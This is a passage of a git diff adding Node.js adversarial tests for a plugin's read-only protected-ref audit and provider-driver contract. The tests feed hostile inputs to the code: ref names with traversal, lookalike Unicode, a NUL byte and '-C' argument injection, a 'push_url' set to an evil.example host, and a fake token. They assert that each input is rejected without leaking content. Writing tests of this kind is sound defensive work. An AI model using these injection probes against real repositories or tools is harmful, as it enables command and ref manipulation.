errorOfAsync( + () => sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: over, + }), + 'artifact_stream_over_cap', + ); + assert.equal(JSON.stringify({ code: error.code, message: error.message }).includes(root), false); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-protected-ref-audit-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-protected-ref-audit-adversarial.test.mjs new file mode 100644 index 0000000..33b42b9 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-protected-ref-audit-adversarial.test.mjs @@ -0,0 +1,294 @@ +import assert from 'node:assert/strict'; +import { writeFileSync } from 'node:fs'; +import path from 'node:path'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { + GIT_INSPECT_ENV, + denyWorkerRemoteMutation, +} from '../mcp/v3/credential-boundary.mjs'; +import { DENIED_OPERATIONS } from '../mcp/v3/git-authority.mjs'; +import { + MAX_AUDIT_REFS, + PROTECTED_REF_AUDIT_READONLY_GIT_COMMANDS, + auditProtectedRefsV1, + parseProtectedRefAuditRequestV1, +} from '../mcp/v3/protected-ref-audit.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { CONTENT_FREE } from './fixtures/r1-git-authority-fixtures.mjs'; +import { + MAIN_REF, + countingProxy, + createAliasedLooseProtectedRepo, + createGraftsProtectedRepo, + createLocalProtectedRepo, + createRecordingSpawn, + createReplaceProtectedRepo, + createSymlinkAliasPathRepo, + fixtureGitCommands, + git, + snapshotRepositoryIdentity, + trapTotal, + validIdentity, + validRequest, +} from './fixtures/r1-protected-ref-audit-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(() => action()) + .then( + () => assert.fail('expected a typed RunContractV1Error'), + (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + assert.equal(utilTypes.isProxy(error), false); + return error; + }, + ); +} + +function assertContentFree(value, extras = []) { + const text = typeof value === 'string' ? value : JSON.stringify(value); + assert.equal(text.includes('/tmp'), false); + assert.equal(text.includes('https://'), false); + assert.equal(text.includes('git@'), false); + for (const extra of extras) { + assert.equal(text.includes(extra), false, `leaked ${JSON.stringify(extra)}`); + } + const message = typeof value === 'string' ? value : value?.message; + if (typeof message === 'string') assert.match(message, CONTENT_FREE); +} + +test('parent-failing hostile policy probes deny namespace escape without echoing attacker bytes', async () => { + const repo = await createLocalProtectedRepo(); + try { + const probes = [ + 'refs/heads/codex/run-abababababababab/../main', + 'refs/heads/main.lock', + 'refs/heads/foo@{bar}', + 'refs/heads/\uFF4D\uFF41\uFF49\uFF4E', + 'refs/heads/\u0430lpha', + 'HEAD', + 'main', + '-C', + 'refs/heads/main\0evil', + ]; + for (const ref of probes) { + const error = await errorOf(() => parseProtectedRefAuditRequestV1(validRequest( + repo.path, repo.baseSha, { expected_refs: [{ ref, sha: repo.baseSha }] }, + ))); + assert.ok( + error.code === 'hostile_name_denied' || error.code === 'invalid_type' + || error.code === 'invalid_format' || error.code === 'authority_identity_invalid', + `${ref} -> ${error.code}`, + ); + assertContentFree(error, [ref, repo.path, '/tmp']); + } + } finally { + await repo.cleanup(); + } +}); + +test('proxy accessor symbol unknown-key and exotic inputs fail closed before git', async () => { + const repo = await createLocalProtectedRepo(); + const recording = createRecordingSpawn(); + try { + const base = validRequest(repo.path, repo.baseSha); + const { proxy, counts } = countingProxy(base); + const proxied = await errorOf(() => auditProtectedRefsV1(proxy, { spawn: recording.spawn })); + assert.equal(proxied.code, 'proxy_denied'); + assert.equal(trapTotal(counts) > 0 || proxied.code === 'proxy_denied', true); + + const symbolled = { ...base, [Symbol('steal')]: 'secret' }; + const symbolError = await errorOf(() => auditProtectedRefsV1(symbolled, { spawn: recording.spawn })); + assert.equal(symbolError.code, 'symbol_key_denied'); + + const accessor = {}; + for (const [key, value] of Object.entries(base)) { + Object.defineProperty(accessor, key, { enumerable: true, get() { return value; } }); + } + const accessError = await errorOf(() => auditProtectedRefsV1(accessor, { spawn: recording.spawn })); + assert.ok( + accessError.code === 'accessor_property_denied' || accessError.code === 'own_undefined_denied' + || accessError.code === 'invalid_type', + ); + + const unknown = { ...base, push_url: 'https://evil.example/x' }; + const unknownError = await errorOf(() => auditProtectedRefsV1(unknown, { spawn: recording.spawn })); + assert.equal(unknownError.code, 'unknown_key'); + assertContentFree(unknownError, ['https://evil.example/x', 'push_url']); + + const exotic = Object.assign(Object.create({ stolen: true }), base); + const exoticError = await errorOf(() => auditProtectedRefsV1(exotic, { spawn: recording.spawn })); + assert.ok( + exoticError.code === 'exotic_prototype_denied' || exoticError.code === 'invalid_type', + ); + + const spawnProxy = await errorOf(() => auditProtectedRefsV1(base, { + spawn: countingProxy(() => {}).proxy, + })); + assert.equal(spawnProxy.code, 'proxy_denied'); + assert.equal(recording.records.length, 0); + assertContentFree(proxied); + assertContentFree(symbolError); + assertContentFree(unknownError); + } finally { + await repo.cleanup(); + } +}); + +test('mutation operations and credential material never spawn git', async () => { + const repo = await createLocalProtectedRepo(); + const recording = createRecordingSpawn(); + try { + for (const operation of DENIED_OPERATIONS) { + const error = await errorOf(() => auditProtectedRefsV1( + validRequest(repo.path, repo.baseSha, { operation }), + { spawn: recording.spawn }, + )); + assert.equal(error.code, 'remote_mutation_denied', operation); + assertContentFree(error, [operation, repo.path]); + assert.throws(() => denyWorkerRemoteMutation(operation)); + } + const commit = await errorOf(() => auditProtectedRefsV1( + validRequest(repo.path, repo.baseSha, { operation: 'commit_on_lane_branch' }), + { spawn: recording.spawn }, + )); + assert.equal(commit.code, 'audit_operation_denied'); + const credential = await errorOf(() => parseProtectedRefAuditRequestV1(validRequest( + repo.path, repo.baseSha, { + identity: { + ...validIdentity(repo.path, repo.baseSha), + token: 'secret-token', + }, + }, + ))); + assert.ok(credential.code === 'unknown_key' || credential.code === 'credential_content_denied'); + assertContentFree(credential, ['secret-token']); + assert.equal(recording.records.length, 0); + } finally { + await repo.cleanup(); + } +}); + +test('aliased loose refs, replace refs, grafts, and symlink paths fail closed', async () => { + const aliased = await createAliasedLooseProtectedRepo(); + try { + const before = await snapshotRepositoryIdentity(aliased.path); + const receipt = await auditProtectedRefsV1(validRequest(aliased.path, aliased.baseSha)); + assert.equal(receipt.status, 'failed'); + assert.equal(receipt.findings[0].code, 'aliased_ref'); + assertContentFree(receipt, [aliased.path]); + const after = await snapshotRepositoryIdentity(aliased.path); + assert.deepEqual(after, before); + } finally { + await aliased.cleanup(); + } + + const replaced = await createReplaceProtectedRepo(); + try { + const error = await errorOf(() => auditProtectedRefsV1(validRequest(replaced.path, replaced.baseSha))); + assert.equal(error.code, 'replace_refs_denied'); + assertContentFree(error, [replaced.path, replaced.baseSha]); + } finally { + await replaced.cleanup(); + } + + const grafted = await createGraftsProtectedRepo(); + try { + const error = await errorOf(() => auditProtectedRefsV1(validRequest(grafted.path, grafted.baseSha))); + assert.equal(error.code, 'grafts_denied'); + assertContentFree(error, [grafted.path]); + } finally { + await grafted.cleanup(); + } + + const linked = await createSymlinkAliasPathRepo(); + try { + const error = await errorOf(() => auditProtectedRefsV1(validRequest(linked.aliasPath, linked.baseSha))); + assert.ok(error.code === 'repository_invalid' || error.code === 'authority_identity_invalid'); + assertContentFree(error, [linked.aliasPath, linked.path]); + } finally { + await linked.cleanup(); + } +}); + +test('duplicate aliased expected-ref objects and overlong lists fail closed', async () => { + const repo = await createLocalProtectedRepo(); + try { + const entry = { ref: MAIN_REF, sha: repo.baseSha }; + const aliased = await errorOf(() => parseProtectedRefAuditRequestV1(validRequest( + repo.path, repo.baseSha, { expected_refs: [entry, entry] }, + ))); + assert.equal(aliased.code, 'aliased_reference_denied'); + const duplicateName = await errorOf(() => parseProtectedRefAuditRequestV1(validRequest( + repo.path, repo.baseSha, { + expected_refs: [ + { ref: MAIN_REF, sha: repo.baseSha }, + { ref: MAIN_REF, sha: repo.baseSha }, + ], + }, + ))); + assert.equal(duplicateName.code, 'invalid_format'); + const tooMany = []; + for (let i = 0; i < MAX_AUDIT_REFS + 1; i += 1) { + tooMany.push({ ref: `refs/tags/t${i}`, sha: repo.baseSha }); + } + const range = await errorOf(() => parseProtectedRefAuditRequestV1(validRequest( + repo.path, repo.baseSha, { expected_refs: tooMany }, + ))); + assert.equal(range.code, 'out_of_range'); + assertContentFree(aliased); + assertContentFree(duplicateName); + } finally { + await repo.cleanup(); + } +}); + +test('live race between snapshots fails closed and the audit argv stays read-only', async () => { + const repo = await createLocalProtectedRepo(); + try { + const movedSha = git(repo.path, ['commit', '--allow-empty', '-m', 'race-side']); + git(repo.path, ['update-ref', MAIN_REF, repo.baseSha]); + const recording = createRecordingSpawn(() => { + writeFileSync(path.join(repo.path, '.git', 'refs', 'heads', 'main'), `${movedSha}\n`); + }); + const receipt = await auditProtectedRefsV1( + validRequest(repo.path, repo.baseSha), + { spawn: recording.spawn }, + ); + assert.equal(receipt.status, 'failed'); + assert.equal(receipt.observed_classes.includes('race_detected'), true); + assert.equal(receipt.discrepancies[0].discrepancy_kind, 'security'); + assertContentFree(receipt, [repo.path, movedSha]); + for (const command of fixtureGitCommands(recording.records)) { + assert.equal(PROTECTED_REF_AUDIT_READONLY_GIT_COMMANDS.includes(command), true, command); + } + for (const record of recording.records) { + assert.deepEqual(record.env, { ...GIT_INSPECT_ENV }); + assert.equal(record.args.includes('update-ref'), false); + assert.equal(record.args.includes('commit'), false); + assert.equal(record.args.includes('push'), false); + } + } finally { + await repo.cleanup(); + } +}); + +test('two concurrent read-only audits leave a stable repository byte-identical', async () => { + const repo = await createLocalProtectedRepo(); + try { + const before = await snapshotRepositoryIdentity(repo.path); + const request = validRequest(repo.path, repo.baseSha); + const [left, right] = await Promise.all([ + auditProtectedRefsV1(request), + auditProtectedRefsV1({ ...request, expected_refs: [{ ref: MAIN_REF, sha: repo.baseSha }] }), + ]); + assert.equal(left.status, 'verified'); + assert.equal(right.status, 'verified'); + const after = await snapshotRepositoryIdentity(repo.path); + assert.deepEqual(after, before); + } finally { + await repo.cleanup(); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-protected-ref-audit.test.mjs b/plugins/codex-co-engineer/test/r1-protected-ref-audit.test.mjs new file mode 100644 index 0000000..5ca82ad --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-protected-ref-audit.test.mjs @@ -0,0 +1,310 @@ +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + GIT_INSPECT_ENV, + denyWorkerRemoteMutation, +} from '../mcp/v3/credential-boundary.mjs'; +import { parseEvidenceDiscrepancyV1, parseVerifiedFactV1 } from '../mcp/v3/evidence-bundle.mjs'; +import { + DENIED_OPERATIONS, + classifyGitOperationV1, + expectedLaneRefV1, +} from '../mcp/v3/git-authority.mjs'; +import { + MAX_AUDIT_REFS, + PROTECTED_REF_AUDIT_FAILING_CODES, + PROTECTED_REF_AUDIT_FINDING_CODES, + PROTECTED_REF_AUDIT_READONLY_GIT_COMMANDS, + PROTECTED_REF_AUDIT_SCHEMA_ID, + PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS, + PROTECTED_REF_AUDIT_VERSION, + auditProtectedRefsV1, + describeProtectedRefAuditV1, + parseProtectedRefAuditRequestV1, +} from '../mcp/v3/protected-ref-audit.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { CONTENT_FREE } from './fixtures/r1-git-authority-fixtures.mjs'; +import { + ASSIGNMENT_ID, + MAIN_REF, + RUN_ID, + createBareProtectedRepo, + createLinkedWorktreeProtectedRepo, + createLocalProtectedRepo, + createMissingDefaultRepo, + createMovedProtectedRepo, + createPackedProtectedRepo, + createRecordingSpawn, + createSymbolicProtectedRepo, + fixtureGitCommands, + snapshotRepositoryIdentity, + validIdentity, + validRequest, +} from './fixtures/r1-protected-ref-audit-fixtures.mjs'; + +const LANE_DIGEST = 'ab'.repeat(32); + +function errorOf(action) { + return Promise.resolve() + .then(() => action()) + .then( + () => assert.fail('expected a typed RunContractV1Error'), + (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }, + ); +} + +function assertContentFree(value, extras = []) { + const text = typeof value === 'string' ? value : JSON.stringify(value); + assert.equal(text.includes('/tmp'), false, 'must not leak repository paths'); + assert.equal(text.includes('https://'), false, 'must not leak URLs'); + assert.equal(text.includes('git@'), false, 'must not leak hosting URLs'); + for (const extra of extras) { + assert.equal(text.includes(extra), false, `must not echo ${extra}`); + } + const message = typeof value === 'string' ? value : value?.message; + if (typeof message === 'string') assert.match(message, CONTENT_FREE); +} + +function assertNoSideEffects(receipt) { + for (const key of PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS) { + assert.equal(receipt.side_effects[key], false, key); + } +} + +function assertInspectedEnv(records) { + assert.ok(records.length >= 1); + for (const record of records) { + assert.equal(record.file, '/usr/bin/git'); + assert.equal(record.cwd, '/'); + assert.deepEqual(record.env, { ...GIT_INSPECT_ENV }); + assert.equal(Object.hasOwn(record.env, 'GIT_DIR'), false); + assert.equal(Object.hasOwn(record.env, 'GH_TOKEN'), false); + assert.equal(Object.hasOwn(record.env, 'SSH_AUTH_SOCK'), false); + assert.equal(record.env.GIT_ASKPASS, ''); + assert.equal(record.env.GIT_TERMINAL_PROMPT, '0'); + } + for (const command of fixtureGitCommands(records)) { + assert.equal( + PROTECTED_REF_AUDIT_READONLY_GIT_COMMANDS.includes(command), + true, + command, + ); + } +} + +test('ProtectedRefAuditV1 is a closed frozen v1 audit and not a 4.0.0 major', () => { + assert.equal(PROTECTED_REF_AUDIT_SCHEMA_ID, 'codex-co-engineer.protected-ref-audit.v1'); + assert.equal(PROTECTED_REF_AUDIT_VERSION, 1); + assert.equal(PROTECTED_REF_AUDIT_SCHEMA_ID.includes('4.0.0'), false); + const inventory = describeProtectedRefAuditV1(); + assert.ok(Object.isFrozen(inventory)); + assert.equal(inventory.rule, 'read_only_live_protected_ref_compare'); + assert.equal(inventory.max_audit_refs, MAX_AUDIT_REFS); + assert.equal(inventory.composed_surfaces.remote_mutation, 'denied'); + assert.equal(inventory.inspect_env, GIT_INSPECT_ENV); + assert.deepEqual([...inventory.finding_codes], [...PROTECTED_REF_AUDIT_FINDING_CODES]); + assert.deepEqual([...inventory.failing_codes], [...PROTECTED_REF_AUDIT_FAILING_CODES]); +}); + +test('matching local protected and default refs verify with content-free evidence', async () => { + const repo = await createLocalProtectedRepo(); + const recording = createRecordingSpawn(); + try { + const before = await snapshotRepositoryIdentity(repo.path); + const receipt = await auditProtectedRefsV1( + validRequest(repo.path, repo.baseSha, { + expected_refs: [ + { ref: MAIN_REF, sha: repo.baseSha }, + { ref: 'refs/tags/v1', sha: repo.tagSha }, + ], + }), + { spawn: recording.spawn }, + ); + assert.equal(receipt.status, 'verified'); + assert.equal(receipt.repository_kind, 'local'); + assert.equal(receipt.run_id, RUN_ID); + assert.equal(receipt.assignment_id, ASSIGNMENT_ID); + assert.equal(receipt.comparisons.length, 2); + assert.equal(receipt.comparisons[0].outcome, 'match'); + assert.equal(receipt.comparisons[0].default_branch_target, true); + assert.equal(receipt.comparisons[1].ref_class, 'user_protected'); + assert.equal(receipt.findings.length, 0); + const fact = parseVerifiedFactV1(receipt.facts[0]); + assert.equal(fact.method, 'protected_ref_snapshot_compare'); + assert.equal(fact.authority, 'platform_git'); + assert.equal(fact.status, 'verified'); + assert.equal(receipt.discrepancies.length, 0); + assertNoSideEffects(receipt); + assertContentFree(receipt, [repo.path, 'https://', 'git@']); + assertInspectedEnv(recording.records); + const after = await snapshotRepositoryIdentity(repo.path); + assert.deepEqual(after, before); + } finally { + await repo.cleanup(); + } +}); + +test('packed protected refs still match expected identities', async () => { + const repo = await createPackedProtectedRepo(); + try { + const before = await snapshotRepositoryIdentity(repo.path); + const receipt = await auditProtectedRefsV1(validRequest(repo.path, repo.baseSha)); + assert.equal(receipt.status, 'verified'); + assert.equal(receipt.comparisons[0].storage, 'packed'); + assert.equal(receipt.observed_classes.includes('packed_ref'), true); + assert.equal(receipt.observation.packed_count, 1); + assertNoSideEffects(receipt); + const after = await snapshotRepositoryIdentity(repo.path); + assert.deepEqual(after, before); + } finally { + await repo.cleanup(); + } +}); + +test('bare repositories compare declared protected refs without mutation', async () => { + const repo = await createBareProtectedRepo(); + try { + const before = await snapshotRepositoryIdentity(repo.path); + const receipt = await auditProtectedRefsV1(validRequest(repo.path, repo.baseSha)); + assert.equal(receipt.status, 'verified'); + assert.equal(receipt.repository_kind, 'bare'); + assertNoSideEffects(receipt); + const after = await snapshotRepositoryIdentity(repo.path); + assert.deepEqual(after, before); + } finally { + await repo.cleanup(); + } +}); + +test('linked worktrees audit shared protected refs through the worktree path', async () => { + const repo = await createLinkedWorktreeProtectedRepo(); + try { + const beforeRoot = await snapshotRepositoryIdentity(repo.path); + const beforeWt = await snapshotRepositoryIdentity(repo.worktreePath); + const receipt = await auditProtectedRefsV1(validRequest(repo.worktreePath, repo.baseSha)); + assert.equal(receipt.status, 'verified'); + assert.equal(receipt.repository_kind, 'linked_worktree'); + assertContentFree(receipt, [repo.path, repo.worktreePath]); + const afterRoot = await snapshotRepositoryIdentity(repo.path); + const afterWt = await snapshotRepositoryIdentity(repo.worktreePath); + assert.deepEqual(afterRoot, beforeRoot); + assert.deepEqual(afterWt, beforeWt); + } finally { + await repo.cleanup(); + } +}); + +test('missing and moved protected refs fail closed with deterministic findings', async () => { + const missingRepo = await createMissingDefaultRepo(); + try { + const before = await snapshotRepositoryIdentity(missingRepo.path); + const missing = await auditProtectedRefsV1(validRequest(missingRepo.path, missingRepo.baseSha, { + expected_refs: [{ ref: 'refs/heads/master', sha: missingRepo.baseSha }], + })); + assert.equal(missing.status, 'failed'); + assert.equal(missing.findings[0].code, 'missing_ref'); + assert.equal(missing.observed_classes.includes('missing_ref'), true); + parseEvidenceDiscrepancyV1(missing.discrepancies[0]); + assert.equal(missing.discrepancies[0].discrepancy_kind, 'security'); + assertContentFree(missing, [missingRepo.path, 'refs/heads/master']); + const after = await snapshotRepositoryIdentity(missingRepo.path); + assert.deepEqual(after, before); + } finally { + await missingRepo.cleanup(); + } + + const movedRepo = await createMovedProtectedRepo(); + try { + const before = await snapshotRepositoryIdentity(movedRepo.path); + const moved = await auditProtectedRefsV1(validRequest(movedRepo.path, movedRepo.baseSha)); + assert.equal(moved.status, 'failed'); + assert.equal(moved.findings[0].code, 'moved_ref'); + assert.equal(moved.facts[0].status, 'failed'); + assertContentFree(moved, [movedRepo.path]); + const after = await snapshotRepositoryIdentity(movedRepo.path); + assert.deepEqual(after, before); + } finally { + await movedRepo.cleanup(); + } +}); + +test('symbolic protected refs fail closed without rewriting refs', async () => { + const repo = await createSymbolicProtectedRepo(); + try { + const before = await snapshotRepositoryIdentity(repo.path); + const receipt = await auditProtectedRefsV1(validRequest(repo.path, repo.baseSha, { + expected_refs: [{ ref: repo.aliasRef, sha: repo.baseSha }], + default_branch: 'release', + })); + assert.equal(receipt.status, 'failed'); + assert.equal(receipt.findings[0].code, 'symbolic_ref'); + assert.equal(receipt.comparisons[0].storage, 'symbolic'); + assert.equal(receipt.discrepancies[0].discrepancy_kind, 'security'); + assertContentFree(receipt, [repo.path, 'release']); + const after = await snapshotRepositoryIdentity(repo.path); + assert.deepEqual(after, before); + } finally { + await repo.cleanup(); + } +}); + +test('worker-lane refs are not protected-audit targets', async () => { + const repo = await createLocalProtectedRepo(); + try { + const lane = expectedLaneRefV1({ + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + manifest_digest_hex: LANE_DIGEST, + }); + const error = await errorOf(() => auditProtectedRefsV1(validRequest(repo.path, repo.baseSha, { + expected_refs: [{ ref: lane, sha: repo.baseSha }], + identity: validIdentity(repo.path, repo.baseSha), + manifest_digest_hex: LANE_DIGEST, + }))); + assert.equal(error.code, 'expected_ref_not_protected'); + assertContentFree(error, [lane, repo.path]); + } finally { + await repo.cleanup(); + } +}); + +test('parse rejects empty or oversized expected-ref lists before any git spawn', async () => { + const repo = await createLocalProtectedRepo(); + const recording = createRecordingSpawn(); + try { + const empty = await errorOf(() => parseProtectedRefAuditRequestV1(validRequest( + repo.path, repo.baseSha, { expected_refs: [] }, + ))); + assert.equal(empty.code, 'out_of_range'); + const oversized = []; + for (let i = 0; i < MAX_AUDIT_REFS + 1; i += 1) { + oversized.push({ ref: `refs/heads/extra${i}`, sha: repo.baseSha }); + } + const many = await errorOf(() => auditProtectedRefsV1( + validRequest(repo.path, repo.baseSha, { expected_refs: oversized }), + { spawn: recording.spawn }, + )); + assert.equal(many.code, 'out_of_range'); + assert.equal(recording.records.length, 0); + } finally { + await repo.cleanup(); + } +}); + +test('accepted P28 and P29 mutation denials remain closed through the audit', () => { + for (const operation of DENIED_OPERATIONS) { + const verdict = classifyGitOperationV1({ + schema: 'codex-co-engineer.git-authority.v1', + version: 1, + actor: 'worker', + operation, + identity: validIdentity('/tmp/cce-r1-authority-repo', 'a'.repeat(40)), + }); + assert.equal(verdict.verdict, 'denied', operation); + assert.throws(() => denyWorkerRemoteMutation(operation)); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-provider-driver-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-provider-driver-adversarial.test.mjs new file mode 100644 index 0000000..ebf6030 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-provider-driver-adversarial.test.mjs @@ -0,0 +1,261 @@ +// Adversarial tests for the P17 ProviderDriverV1 contract: the reusable +// provider-neutral conformance kit passes for scripted drivers, rejects +// identity/disposition/feature lies, and keeps hostile direct-JavaScript +// inputs descriptor-first and trap-free. No provider transport is configured. + +import assert from 'node:assert/strict'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { + DRIVER_OPERATION_SCHEMA_IDS, + PROVIDER_DRIVER_VERSION, + bindProviderDriverV1, + validateDriverDeclarationV1, + validateDriverLaunchRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + countingProxy, + trapTotal, +} from './fixtures/r1-resolver-fixtures.mjs'; +import { + buildDriverContractFixtureV1, + driverDeclaration, + driverResultFor, + runProviderDriverContractSuiteV1, + scriptedProviderDriverV1, +} from './provider-driver-contract-suite.mjs'; + +const fixture = buildDriverContractFixtureV1(); +const declaration = driverDeclaration('dsh'); + +function expectSuiteRejection(driver, name, extra = {}) { + assert.throws( + () => runProviderDriverContractSuiteV1(driver, { label: `violator-${name}`, ...extra }), + (error) => error instanceof Error && !utilTypes.isProxy(error), + `suite must reject the ${name} violator`, + ); +} + +function wrappedDriver(overrideOperation, receiptTransform) { + const driver = scriptedProviderDriverV1(); + return { + ...driver, + [overrideOperation]: (request) => receiptTransform(driver[overrideOperation](request), request), + }; +} + +test('the contract suite accepts a conforming scripted driver deterministically', () => { + const driver = scriptedProviderDriverV1(); + const first = runProviderDriverContractSuiteV1(driver, { label: 'conformance-a' }); + const second = runProviderDriverContractSuiteV1(driver, { label: 'conformance-a' }); + assert.equal(first.ok, true); + assert.deepEqual(first, second); + assert.ok(first.checks >= 10, 'the suite runs its full check list'); + assert.ok(Object.isFrozen(first)); +}); + +test('the contract suite stays neutral across completable closed dispositions', () => { + const uncertain = runProviderDriverContractSuiteV1( + scriptedProviderDriverV1({ + launch: 'dispatch_uncertain', + reconcile: 'unresolved_attention', + cancel: 'cancel_requested', + }), + { label: 'conformance-uncertain' }, + ); + assert.equal(uncertain.ok, true); + + const terminal = runProviderDriverContractSuiteV1( + scriptedProviderDriverV1({ + reconcile: 'in_progress', + cancel: 'already_terminal', + }), + { label: 'conformance-in-progress' }, + ); + assert.equal(terminal.ok, true); +}); + +test('the suite rejects drivers that lie about the proven child identity', () => { + expectSuiteRejection(wrappedDriver('launch', (receipt) => ({ ...receipt, run_id: 'other-run' })), 'run-id'); + expectSuiteRejection( + wrappedDriver('cancel', (receipt) => ({ ...receipt, lane_index: receipt.lane_index + 1 })), + 'lane-index', + ); + expectSuiteRejection(wrappedDriver('preflight', (receipt) => ({ + ...receipt, + base_sha: 'f'.repeat(40), + })), 'base-sha'); + expectSuiteRejection(wrappedDriver('reconcile', (receipt) => ({ + ...receipt, + child_envelope_digest: '0'.repeat(64), + })), 'digest-echo'); +}); + +test('the suite rejects drivers reporting dispositions outside the closed vocabulary', () => { + expectSuiteRejection( + wrappedDriver('launch', (receipt) => ({ ...receipt, disposition: 'settled' })), + 'disposition', + ); +}); + +test('the suite rejects detail-pair rule violations and smuggled evidence keys', () => { + expectSuiteRejection(wrappedDriver('launch', (receipt) => ({ + ...receipt, + detail_code: 'why', + detail_message: 'because', + })), 'uncertain-with-detail'); + expectSuiteRejection(wrappedDriver('launch', (receipt) => ({ + ...receipt, + artifact_ref: 'sha256:deadbeef', + })), 'artifact-vocabulary'); +}); + +test('the suite rejects a driver exposing any fifth operation', () => { + assert.throws( + () => runProviderDriverContractSuiteV1( + { ...scriptedProviderDriverV1(), retry: () => ({}) }, { label: 'violator-retry' }, + ), + (error) => error instanceof RunContractV1Error && error.code === 'invalid_surface', + ); +}); + +test('live and revoked proxies are denied with zero traps before reflection', () => { + const live = countingProxy(requestForLaunch()); + const liveError = errorOf(() => validateDriverLaunchRequestV1(live.proxy)); + assert.equal(liveError.code, 'proxy_denied'); + assert.equal(trapTotal(live.counts), 0); + assert.equal(utilTypes.isProxy(live.proxy), true); + + const { proxy, revoke } = Proxy.revocable(requestForLaunch(), { + get() { throw new Error('revoked getter ran'); }, + ownKeys() { throw new Error('revoked ownKeys ran'); }, + }); + revoke(); + const revokedError = errorOf(() => validateDriverLaunchRequestV1(proxy)); + assert.equal(revokedError.code, 'proxy_denied'); + assert.throws(() => Array.isArray(proxy), TypeError); + + const declarationProxy = countingProxy(declaration); + const declarationError = errorOf(() => validateDriverDeclarationV1(declarationProxy.proxy)); + assert.equal(declarationError.code, 'proxy_denied'); + assert.equal(trapTotal(declarationProxy.counts), 0); +}); + +test('getters and own undefined on driver requests are denied without invoking accessors', () => { + let reads = 0; + const getterRequest = requestForLaunch(); + Object.defineProperty(getterRequest, 'version', { + enumerable: true, + get() { + reads += 1; + return 1; + }, + }); + assert.equal(errorOf(() => validateDriverLaunchRequestV1(getterRequest)).code, 'accessor_property_denied'); + assert.equal(reads, 0); + + const undefinedRequest = requestForLaunch(); + undefinedRequest.version = undefined; + assert.equal(errorOf(() => validateDriverLaunchRequestV1(undefinedRequest)).code, 'own_undefined_denied'); +}); + +test('hostile result graphs fail closed through the bound surface', () => { + const request = requestForLaunch(); + const preflightRequest = { + schema: DRIVER_OPERATION_SCHEMA_IDS.preflight, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; + const goodReceipt = driverResultFor('preflight', preflightRequest, 'ready'); + + assert.throws(() => bindProviderDriverV1({ + ...scriptedProviderDriverV1(), + preflight: () => [goodReceipt], + }, declaration).preflight(preflightRequest), + (error) => error instanceof RunContractV1Error && error.code === 'invalid_type'); + + assert.throws(() => bindProviderDriverV1({ + ...scriptedProviderDriverV1(), + preflight: () => new Proxy(goodReceipt, {}), + }, declaration).preflight(preflightRequest), + (error) => error instanceof RunContractV1Error && error.code === 'proxy_denied'); + + let getterRuns = 0; + const accessorReceipt = { ...goodReceipt }; + delete accessorReceipt.disposition; + Object.defineProperty(accessorReceipt, 'disposition', { + enumerable: true, + get() { + getterRuns += 1; + return 'ready'; + }, + }); + assert.throws(() => bindProviderDriverV1({ + ...scriptedProviderDriverV1(), + preflight: () => accessorReceipt, + }, declaration).preflight(preflightRequest), + (error) => error instanceof RunContractV1Error && error.code === 'accessor_property_denied'); + assert.equal(getterRuns, 0); + + const cyclicReceipt = { ...goodReceipt, extra: {} }; + cyclicReceipt.extra.self = cyclicReceipt.extra; + assert.throws(() => bindProviderDriverV1({ + ...scriptedProviderDriverV1(), + preflight: () => cyclicReceipt, + }, declaration).preflight(preflightRequest), + (error) => error instanceof RunContractV1Error && error.code === 'aliased_reference_denied'); + void request; +}); + +test('drivers cannot mutate the validated request they are handed', () => { + const mutating = scriptedProviderDriverV1(); + const originalLaunch = mutating.launch; + mutating.launch = (request) => { + assert.throws(() => { request.child_envelope_digest = 'f'.repeat(64); }, TypeError); + return originalLaunch(request); + }; + const bound = bindProviderDriverV1(mutating, declaration); + bound.preflight({ + schema: DRIVER_OPERATION_SCHEMA_IDS.preflight, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }); + const receipt = bound.launch({ + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(receipt.disposition, 'dispatch_uncertain'); + assert.equal(receipt.child_envelope_digest, fixture.child_envelope_digest); +}); + +test('a dsh driver that claims confirmed dispatch is rejected by capability honesty', () => { + expectSuiteRejection( + scriptedProviderDriverV1({ launch: 'dispatched' }), + 'dsh-confirmed-dispatch', + ); +}); + +function requestForLaunch() { + return { + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; +} + +function errorOf(action) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} diff --git a/plugins/codex-co-engineer/test/r1-provider-driver.test.mjs b/plugins/codex-co-engineer/test/r1-provider-driver.test.mjs new file mode 100644 index 0000000..669fc86 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-provider-driver.test.mjs @@ -0,0 +1,389 @@ +// Runtime tests for the 